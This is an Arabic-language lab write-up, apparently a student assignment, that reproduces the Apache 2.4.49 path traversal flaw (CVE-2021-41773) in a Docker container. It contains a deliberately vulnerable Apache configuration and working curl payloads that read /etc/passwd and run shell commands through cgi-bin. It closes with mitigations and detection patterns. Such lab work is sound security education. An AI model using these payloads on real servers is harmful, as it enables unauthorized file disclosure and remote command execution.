
WHS الفترة الرابعة إي هي-سو. تقديم مهمة kr-vulhub.
المساهمون
يوجد ثغرة في Apache HTTP Server 2.4.49، حيث يفشل في حظر المسار الأصلي المشفر بشكل صحيح أثناء عملية تطبيع مسار URL.
يمكن للمهاجم استخدام قيمة مثل .%2e للانتقال خارج الدليل الذي تم تكوين الخادم لمشاركته. في البيئات التي يُسمح فيها بالوصول إلى الدلائل الخارجية، قد تتعرض الملفات الداخلية للخادم للكشف، وإذا تم تفعيل ميزة CGI، فقد يؤدي ذلك إلى تنفيذ أوامر عن بُعد عبر تشغيل شيل النظام.
في هذا المشروع، نستخدم Docker لإعداد بيئة Apache HTTP Server 2.4.49 بأنفسنا، وأعدنا إنتاج ما يلي:
/etc/passwd عبر Path TraversalCVE-2021-41773/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── apache/
│ └── httpd.conf
├── web/
│ └── index.html
├── scripts/
│ ├── poc.sh
│ └── poc.ps1
└── screenshots/
├── 01-container-status.png
├── 02-normal-service.png
├── 03-apache-version.png
├── 04-path-traversal.png
├── 05-rce-whoami.png
└── 06-poc-script.png
قم بتشغيل الأوامر التالية لبناء صورة Docker وتشغيل الحاوية:
docker compose up -d --build
تحقق من حالة تشغيل الحاوية باستخدام الأمر التالي:
docker ps
تأكد من أن الحاوية في حالة Up، وأن منفذ 8080 على المضيف متصل بمنفذ 80 في الحاوية.

افتح المتصفح على العنوان التالي:
http://localhost:8080
يجب أن ترى صفحة Apache الافتراضية، مما يؤكد نجاح إعداد البيئة.

تحقق من إصدار Apache داخل الحاوية باستخدام الأمر التالي:
docker compose exec web /usr/local/apache2/bin/httpd -v
النتيجة:
Server version: Apache/2.4.49 (Unix)
يؤكد ذلك تشغيل Apache HTTP Server 2.4.49 المتأثر بـ CVE-2021-41773.

في بيئة الممارسة هذه، تم تطبيق الشروط التالية:
daemonيسمح إعداد Apache بالوصول إلى مسار الجذر لنظام الملفات كما يلي:
<Directory "/">
AllowOverride None
Require all granted
</Directory>
كما تم استخدام التكوين التالي لتمكين CGI:
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
<Directory "/usr/local/apache2/cgi-bin">
AllowOverride None
Options +ExecCGI
Require all granted
</Directory>
الطلب التالي يستخدم مسارًا أصليًا مشفرًا للوصول إلى ملف /etc/passwd داخل الحاوية:
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
يتم تفسير .%2e كـ .. بعد فك تشفير URL.
لذا يمكن للمهاجم التنقل لأعلى عدة مستويات من مسار Alias ثم الوصول إلى ملف /etc/passwd.
النتيجة:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

يحتوي /etc/passwd على معلومات حسابات النظام مثل اسم المستخدم و UID و GID ودليل المنزل وشيل تسجيل الدخول.
على الرغم من أنه لا يحتوي على كلمات المرور الفعلية، إلا أن ملفًا داخليًا للخادم لا ينبغي لمستخدمي الويب العاديين الوصول إليه قد تم كشفه عبر طلب HTTP فقط، مما يؤكد وجود ثغرة كشف معلومات.
في البيئات الإنتاجية الفعلية، قد يتم كشف المعلومات الحساسة التالية بنفس الطريقة:
الطلب التالي يستخدم Path Traversal للوصول إلى /bin/sh وتنفيذ أمر whoami:
curl -s --path-as-is \
-d "echo Content-Type: text/plain; echo; whoami" \
"http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
النتيجة:
daemon

بما أن المسار /cgi-bin/ تم تعيينه عبر ScriptAlias، فإن Apache لا يقرأ الملف فقط بل ينفذه كبرنامج CGI.
بعد الوصول إلى /bin/sh عبر Path Traversal، يتم تمرير الأوامر المضمنة في جسم الطلب، ويتم تنفيذها بصلاحيات حساب تشغيل Apache.
في هذه البيئة، يعمل Apache بالحساب التالي:
User daemon
Group daemon
لذا تم تنفيذ الأوامر بحساب daemon.
على الرغم من أنه ليس بحساب root، إلا أن هناك تهديدات إضافية محتملة:
بدلاً من الأوامر الفردية، يمكن استخدام سكريبت PoC للتحقق من الخدمة العادية و Path Traversal وتنفيذ الأوامر عن بُعد مرة واحدة.
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1
bash scripts/poc.sh
يتحقق السكريتب من العناصر التالية بالترتيب:
[1] التحقق من الخدمة العادية
[2] الوصول إلى /etc/passwd عبر Path Traversal
[3] تنفيذ أمر id عبر CGI

يجب عدم استخدام Apache HTTP Server 2.4.49، والترقية إلى أحدث إصدار يحتوي على تصحيحات الأمان.
في البيئات الإنتاجية، يجب حظر الوصول إلى مسار الجذر لنظام الملفات افتراضيًا:
<Directory "/">
Require all denied
</Directory>
اسمح فقط بالوصول إلى دلائل الويب الضرورية بشكل منفصل:
<Directory "/usr/local/apache2/htdocs">
Require all granted
</Directory>
إذا لم تكن ميزة CGI مطلوبة، قم بتعطيل المكونات التالية:
mod_cgiScriptAliasExecCGIيجب تشغيل عملية Apache بحساب خدمة محدود (وليس root)، وتقليل الملفات والدلائل التي يمكن لهذا الحساب الوصول إليها.
يجب اكتشاف وحظر الطلبات التي تحتوي على مسارات غير طبيعية مثل:
.%2e
%2e%2e
/cgi-bin/
docker compose down
في هذه الممارسة، قمنا ببناء Apache HTTP Server 2.4.49 باستخدام Dockerfile، وأنشأنا بيئة ثغرة قابلة للتكرار عبر Docker Compose.
أظهرت طلبات Path Traversal كشف ملف /etc/passwd الداخلي للحاوية الذي لا ينبغي لمستخدمي الويب العاديين الوصول إليه.
كما أكدنا أنه في البيئات التي تحتوي على CGI نشط، يمكن الوصول إلى /bin/sh وتنفيذ أوامر النظام بصلاحيات حساب daemon الذي يعمل عليه Apache.
وبذلك نؤكد أن CVE-2021-41773 ليست مجرد ثغرة كشف مسار، بل يمكن أن تؤدي إلى تنفيذ أوامر عن بُعد اعتمادًا على تكوين البيئة.